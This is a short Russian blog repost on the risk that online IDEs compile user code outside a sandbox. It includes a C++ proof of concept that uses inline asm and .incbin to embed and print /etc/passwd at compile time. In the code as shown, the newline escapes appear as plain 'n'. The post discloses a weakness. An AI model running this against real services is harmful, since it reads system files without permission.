- PVSM.RU - https://www.pvsm.ru -
В последнее время появилось множество online IDE [1] с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.
GCC позволяет с помощью директивы asm
вызывать GAS, у которого есть замечательная инструкция [2] incbin
. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:
#include <stdio.h>
extern "C"
asm(
".global _datan"
".datan"
"_data:n"
".incbin "/etc/passwd"n"
".byte 0"
);
extern const char _data;
const char* data = &_data;
int main() {
printf("%s", data);
}
Автор: dannote
Источник [3]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/c-3/36953
Ссылки в тексте:
[1] множество online IDE: https://www.google.ru/search?q=c%2B%2B+online+ide
[2] замечательная инструкция: http://linux.web.cern.ch/linux/scientific4/docs/rhel-as-en-4/incbin.html
[3] Источник: http://habrahabr.ru/post/183976/
Нажмите здесь для печати.